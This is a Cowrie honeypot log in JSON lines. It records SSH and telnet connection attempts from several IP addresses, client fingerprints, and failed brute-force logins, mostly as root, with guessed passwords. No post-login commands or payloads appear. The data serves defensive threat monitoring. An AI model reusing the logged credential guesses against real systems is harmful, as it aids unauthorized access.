{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":37640,"dst_ip":"159.203.135.109","dst_port":23,"session":"0055510023f7","protocol":"telnet","message":"New connection: 69.4.83.194:37640 (159.203.135.109:23) [session: 0055510023f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:22:15.037895Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":55912,"dst_ip":"10.17.0.5","dst_port":22,"session":"12cf54123a87","protocol":"ssh","message":"New connection: 103.173.227.57:55912 (10.17.0.5:22) [session: 12cf54123a87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:22:17.141984Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:22:17.150416Z","src_ip":"103.173.227.57","session":"12cf54123a87","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:22:17.403744Z","src_ip":"103.173.227.57","session":"12cf54123a87","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"makar","message":"login attempt [root/makar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:22:18.161369Z","src_ip":"103.173.227.57","session":"12cf54123a87","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:22:19.416859Z","src_ip":"103.173.227.57","session":"12cf54123a87","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":38942,"dst_ip":"159.203.135.109","dst_port":22,"session":"e4880bff8e3f","protocol":"ssh","message":"New connection: 194.59.206.2:38942 (159.203.135.109:22) [session: e4880bff8e3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:22:19.746960Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:22:19.752174Z","src_ip":"194.59.206.2","session":"e4880bff8e3f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:22:19.846634Z","src_ip":"194.59.206.2","session":"e4880bff8e3f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:22:19.962832Z","src_ip":"194.59.206.2","session":"e4880bff8e3f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":60784,"dst_ip":"159.203.135.109","dst_port":22,"session":"dff69f3d9e9f","protocol":"ssh","message":"New connection: 109.237.96.109:60784 (159.203.135.109:22) [session: dff69f3d9e9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:22:26.367580Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:22:26.371353Z","src_ip":"109.237.96.109","session":"dff69f3d9e9f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:22:26.464382Z","src_ip":"109.237.96.109","session":"dff69f3d9e9f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty8","message":"login attempt [root/qwerty8] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:22:26.734375Z","src_ip":"109.237.96.109","session":"dff69f3d9e9f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:22:27.826448Z","src_ip":"109.237.96.109","session":"dff69f3d9e9f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.9831645488739,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:22:51.020914Z","src_ip":"69.4.83.194","session":"0055510023f7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":35714,"dst_ip":"159.203.135.109","dst_port":22,"session":"3b248c7de60e","protocol":"ssh","message":"New connection: 103.176.20.57:35714 (159.203.135.109:22) [session: 3b248c7de60e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:23:11.260077Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:23:11.265234Z","src_ip":"103.176.20.57","session":"3b248c7de60e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:23:11.515567Z","src_ip":"103.176.20.57","session":"3b248c7de60e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"teresa","message":"login attempt [root/teresa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:23:12.263841Z","src_ip":"103.176.20.57","session":"3b248c7de60e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:23:13.515872Z","src_ip":"103.176.20.57","session":"3b248c7de60e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":39929,"dst_ip":"159.203.135.109","dst_port":22,"session":"579bec31bad2","protocol":"ssh","message":"New connection: 2.57.121.25:39929 (159.203.135.109:22) [session: 579bec31bad2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:23:22.361459Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:23:22.371247Z","src_ip":"2.57.121.25","session":"579bec31bad2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:23:22.472736Z","src_ip":"2.57.121.25","session":"579bec31bad2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"13041975","message":"login attempt [user/13041975] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:23:22.953081Z","src_ip":"2.57.121.25","session":"579bec31bad2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"13031995","message":"login attempt [user/13031995] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:23:24.057660Z","src_ip":"2.57.121.25","session":"579bec31bad2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"13031978","message":"login attempt [user/13031978] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:23:25.162396Z","src_ip":"2.57.121.25","session":"579bec31bad2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"13021981","message":"login attempt [user/13021981] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:23:26.266605Z","src_ip":"2.57.121.25","session":"579bec31bad2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1258","message":"login attempt [user/1258] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:23:27.370778Z","src_ip":"2.57.121.25","session":"579bec31bad2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:23:28.477046Z","src_ip":"2.57.121.25","session":"579bec31bad2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.108.118.91","src_port":43494,"dst_ip":"10.17.0.5","dst_port":22,"session":"7f4c730e10dc","protocol":"ssh","message":"New connection: 89.108.118.91:43494 (10.17.0.5:22) [session: 7f4c730e10dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:24:46.641854Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:24:46.646742Z","src_ip":"89.108.118.91","session":"7f4c730e10dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:24:46.774879Z","src_ip":"89.108.118.91","session":"7f4c730e10dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":37546,"dst_ip":"159.203.135.109","dst_port":22,"session":"3bc02e1ec94d","protocol":"ssh","message":"New connection: 103.82.132.16:37546 (159.203.135.109:22) [session: 3bc02e1ec94d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:24:46.862071Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:24:46.866745Z","src_ip":"103.82.132.16","session":"3bc02e1ec94d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:24:47.116736Z","src_ip":"103.82.132.16","session":"3bc02e1ec94d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abramov","message":"login attempt [root/abramov] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:24:47.159339Z","src_ip":"89.108.118.91","session":"7f4c730e10dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"katushka","message":"login attempt [root/katushka] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:24:47.868087Z","src_ip":"103.82.132.16","session":"3bc02e1ec94d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:24:48.288873Z","src_ip":"89.108.118.91","session":"7f4c730e10dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:24:49.121569Z","src_ip":"103.82.132.16","session":"3bc02e1ec94d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":33578,"dst_ip":"10.17.0.5","dst_port":22,"session":"fc3dd21cdb9e","protocol":"ssh","message":"New connection: 103.77.175.15:33578 (10.17.0.5:22) [session: fc3dd21cdb9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:25:18.401423Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:25:18.406761Z","src_ip":"103.77.175.15","session":"fc3dd21cdb9e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:25:18.667176Z","src_ip":"103.77.175.15","session":"fc3dd21cdb9e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"210588","message":"login attempt [root/210588] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:25:19.451863Z","src_ip":"103.77.175.15","session":"fc3dd21cdb9e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:25:20.715424Z","src_ip":"103.77.175.15","session":"fc3dd21cdb9e","protocol":"ssh"}
